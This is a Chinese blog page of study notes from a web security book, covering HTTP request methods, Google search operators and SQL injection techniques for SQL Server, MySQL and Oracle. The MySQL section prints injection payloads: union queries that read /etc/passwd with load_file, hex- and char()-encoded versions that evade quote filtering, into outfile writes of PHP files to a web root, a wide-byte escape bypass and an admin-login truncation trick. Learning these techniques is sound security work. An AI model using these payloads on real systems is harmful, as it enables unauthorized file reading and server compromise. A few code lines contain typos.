《Web安全深度剖析》部分摘要1

目录

HTTP请求方法

搜索Web信息

SQL注入漏洞

(1)SQL Server

(2)MySQL

(3) Oracle


HTTP请求方法

(1)HEAD

        HEAD方法除了服务器不能在响应里返回消息主体外,其他都与GET方法相同。此方法经常用来被检测超文本链接的有效性、可访问性和最近的改变。攻击者编写扫描工具时,就经常用此方法,因为只测试资源是否存在,而不用返回消息主题,所以速度一定是最快的。一个经典的HTTP HEAD请求如下:

HEAD /index.php HTTP/1.1
HOST:WWW.xxer.com

(2)PUT

        PUT方法用于请求服务器把请求体中的实体存储在资源请求下,如果请求资源已经在服务器中存在,那么将会用此请求中的数据替换原先的数据,作为指定资源的最新修改版;如果请求指定的资源不存在,将会创建这个资源,且数据位请求正文,请求如下:

PUT /input.txt
HOST:WWW.xxser.com
Content-Length: 6
123456

        这段HTTP PUT1请求将会在主机根目录下创建input.txt,内容为123456。通常情况下,服务器都会关闭PUT方法。

(3)OPTIONS

        OPTIONS方法是用于请求获得由URL标识的资源在请求/响应的通信过程中可以使用的功能或选项。通过这歌方法,客户端可以在采取具体请求资源之前,决定对该资源采取何种必要措施。或者了解服务器的性能。HTTP OPTIONS请求如下:

OPTIONS / HTTP/1.1
HOST:www.xxser.com

 
HTTP/1.1 200 OK
Allow:OPTIONS, TRACE, GET, HEAD, POST
Server: Micorsoft-IIS/7.5
Public: OPTIONS, TRACE, GET, HEAD, POST
X-Powered-By: ASP.NET
Date: Sun, 14 Jul 2023 15:50:58 GMT
Content-Length: 0 

搜索Web信息

Google常用语法
关键字说明
site指定域名
intext正文中存在关键字的网页
intitle标题中存在关键字的网页
info一些基本信息
inurl

URL存在关键字的网页

filetype搜索·指定文件类型

例如:

查询网页标题含有“管理登录”并且为php类型的网站   intitle:管理登录 filetype:php


SQL注入漏洞

(1)SQL Server
SQL Server常见表视图
数据库视图说明
sys.databasesSQL Server 中所有数据库
sys.sql_loginsSQL Server 中所有的登录名
information_schema.tables当前用户数据库中的表
information_schema.columns当前用户数据库中的列
sys.all_columns用户定义对象和系统对象的所有列的联合
sys.database_principals数据库中每个权限或列异常权限
sys.database_files存储在数据库中的数据库文件
sysobjects数据库中创建的每个对象(例如约束、日志以及存储过程)

无辜的函数,例如调用系统函数:

  • select suser_name():返回用户的登录识别名
  • select user_name():基于指定的标识号返回数据库用户名
  • select db_name():返回数据库名称
  • select is_member('db_owner'):是否为数据库角色
  • select convert(int,'5'):数据类型转换
SQL Server 常用函数
函数说明
stuff字符串截取函数
ascii取ASCII码
char根据ASCII码取字符
getdate返回日期
count返回组中的条数
cast将一种数据类型的表达式显示转换为另一种数据类型的表达式
rend返回随即值
is_srvrolemember指示 SQL Server 登录名是否为指定服务器角色的成员
(2)MySQL

<1>三种注释

  • #:注释从“#”字符到行尾
  • --:注释从“--”序列到行尾,使用时后面需要跟上一个或多个空格,注:空格、tag都可以。
  • /**/:注释从“/*”序列到“*/”序列中间的字符。

PS:/**/注释有一个特点,如下语句:

select id/*!55555,username*/ from users

执行结果如下:

+---------------+
| id | username |
+---------------+
| 1  |  admin |
| 1  |  xxser |
+---------------+

可以看到注释/**/没起作用,语句被正常执行了,其实这并不是注释,而是“/*!*/“感叹号是有特殊意义的,比如/*!55555,username*/的意思是:若 MySQL 版本号高于或等于5.55.55,语句将被执行,如果”!“后面不加入版本号,MySQL将会直接执行SQL语句。


<2>函数利用

load_file()函数读文件操作

        SQL语句如下:

union select 1,load_file('/etc/passwd'),2,3,4,5,6#

   通常,一些防注入语句不允许单引号的出现,那么使用一下语句绕过:

union select 1,load_file(0x2F6574632F706173737764),2,3,4,5,6#

  "0x2F6574632F706173737764"为"/etc/passwd"十六进制转化结果,或者使用:

union select 1.load_file(char(47,101,99,116,47,112,97,115,115,119,100)),3,4,5,6#

在SQL注入中,将经常会使用函数组合来达到某种目的,如:在浏览器返回数据时,有可能存在乱码问题,那么使用hex()函数将字符串转换为十六进制数据:

select hex(load_file(char(99,58,92,49,116,120,116)));

into outfile写文件操作 

        写入文件:

select '<?php phpinfo();?>' into outfile 'C:\wwwroot\1.php'
select char(99,58,92,50,46,116,120,116) into outfile 'C:\wwwroot\1.php'

concat()函数,查询多个数据

select name from student where id=1 union select concat(user(),',',database(),',',version());

结果如下:

+------------------------------------------------+
| name                            |
+------------------------------------------------+
| admin                           |
| xxser                           |
| root@localhost,myschool,5.1.50-community-log   |
+------------------------------------------------+

查询的三个值已成一列,并且以逗号隔开。逗号也可以用十六进制表示concat(user(),0x2c,databse(),0x2c,version())<==>concat_ws(0x2c,user(),database(),version())

常用 MySQL 函数
函数说明
length返回字符串长度
substring截取字符串长度
ascii返回ASCII码
hex把字符串转十六进制
now当前系统时间
unhexhex的反向操作
floor(x)返回不大于x的最大整数值
md5返回MD5值
group_concat返回带有来自一个组的连接的非NUL值的字符串结果
@@datadir读取数据库路径
@@basedirMySQL 安装路径
@2version_compile_os操作系统
user用户名
current_user当前用户名
system_user系统用户名
databas数据库名
versionMySQL 数据库版本

<3>宽字节注入

宽字节注入是由编码不统一所造成的,这种注入一般存在PHP+MySQL中。

在PHP配置文件php.ini中存在magic_quotes_gpc选项,被称为魔术引号,当选项被打开时,使用GET、POST、Cookie所接收的  ' (单引号)、"(双引号)、\(反斜线)和NULL字符都会被自动加上一个反斜线转义,如 '$_GET['id'] ',令访问中的id参数为了单引号,则 id 为 \' ,“ \' ”为一个合法的字符串,也就没法闭合单引号实现字符型注入,但是输入 %d5' ,id为 ' '(id =' '),此单引号没有被转移,这样就可以突破PHP的转义,继续闭合SQL语句进行SQL注入。

<4>MySQL 长字符截断

在 MySQL 中的一个设置里有一个 sql_mode 选项,当 sql_mode 设置为 default 时,即没有开启STRICT_ALL_TABLES选项时( MySQL sql_mode默认即为 default ),MySQL 对插入超长的值只会提示 warning,而不是 errror,这样就可能导致一些问题。

新建一张表测试,表结构如下( MySQL 5.1):

CREATE TABLE USERS{
    id int(11) NOT NULL,
    username varchar(7) NOT NULL,
    password varchar(12) NOT NULL
}

分别插入一下 SQL 语句(注入提示信息)

(1)插入正常的 SQL 语句

mysql> insert into users(id ,username,password) values(1,'admin','admin');
Query,OK,1 row affected (0.00 sec)      //成功插入,无警告,无错误

(2)插入有错误的 SQL 语句,此时的“admin   ”右面有三个空格,长度为8,已经超过了原有的规定长度。

mysql> insert into users(id ,username,password) values(2,'admin   ','admin');
Query,OK,1 row affected, 1 warning (0.00 sec)      //成功插入,一个警告

(3)插入有错误的 SQL 语句,长度超过了原有的规定。

mysql> insert into users(id ,username,password) values(3,'admin   x','admin');
Query,OK,1 row affected, 1 warning (0.00 sec)      //成功插入,一个警告

查询数据库,结果如下:

mysql> select username from users;
+----------+
| username |
+----------+
| admin   |
| admin   |
| admin   |
+----------+
3 rows in set (0.00 sec)      

可以看到三条数据都被插入到数据库,但值发生了变化,此时查询值的长度如下:

mysql> select length(username) from users where id =1;
+------------------+
| length(username) |
+------------------+
|            5 |
+------------------+
1 rows in set (0.00 sec)  



mysql> select length(username) from users where id =2;
+------------------+
| length(username) |
+------------------+
|            7 |
+------------------+
1 rows in set (0.00 sec)  



mysql> select length(username) from users where id =3;
+------------------+
| length(username) |
+------------------+
|            7 |
+------------------+
1 rows in set (0.00 sec)  


    

可以发现第二条与第三条数据的长度都为7,也就是列的规定长度,由此可知,在默认情况下,如果数据超出列默认长度, MySQL 会将其截断。

假设有一处管理员登录是这样判断的,语句如下:

$sql = "select count(*) from users where username = 'admin' and password ='*****'";

只查询用户名为 admin 的用户,但另外两个长度不一致的 admin 用户也会被查询出,假设这条 SQL 语句没有任何注入漏洞,攻击者也可能登录到管理页面,仅需要注册一个“admin   ”用户可轻易进入后台管理页面,像著名的 WordPress 就这样被攻击过。


(3) Oracle

在使用 union查询数据时,Oracle 规定,每次查询时后面必须跟表名,如果没有表名称,那么查询将不成立,也就是说是一个错误的 SQL 语句,在MySQL 或 SQL Server 中可以直接使用:

union select null,null,null ...

但在Oracle 中必须使用:

 union select null,null,null ... from dual

此时的dual就是Oracle 的虚拟表,在不知道数据库中存在哪些表的情况下,可以使用此表作为查询表。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值